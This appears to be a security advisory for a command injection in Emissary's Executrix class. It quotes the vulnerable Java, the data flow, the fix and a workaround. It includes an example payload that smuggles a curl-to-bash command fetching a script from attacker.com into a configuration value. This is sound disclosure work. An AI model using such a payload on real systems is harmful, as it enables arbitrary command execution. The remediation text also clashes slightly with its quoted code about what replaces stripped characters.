CVE-2026-35581: Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, , (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — Executrix.java

Insufficient sanitization (line 132): java this.placeName = this.placeName.replace(' ', ''); // ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058): java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; }

Data flow

1. PLACENAME is read from a configuration file 2. Executrix applies only a space-to-underscore replacement 3. The placeName is used to construct temporary directory paths (tmpNames[DIR]) 4. tmpNames[DIR] is concatenated into a shell command string 5. The command is executed via /bin/sh -c

Example payload

PLACENAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curlattacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

- Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9-]:

java protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");

protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }

This ensures that any shell metacharacter in the PLACENAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACENAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

- PR #1290 — validate placename with an allowlist - Original report: GHSA-wjqm-p579-x3ww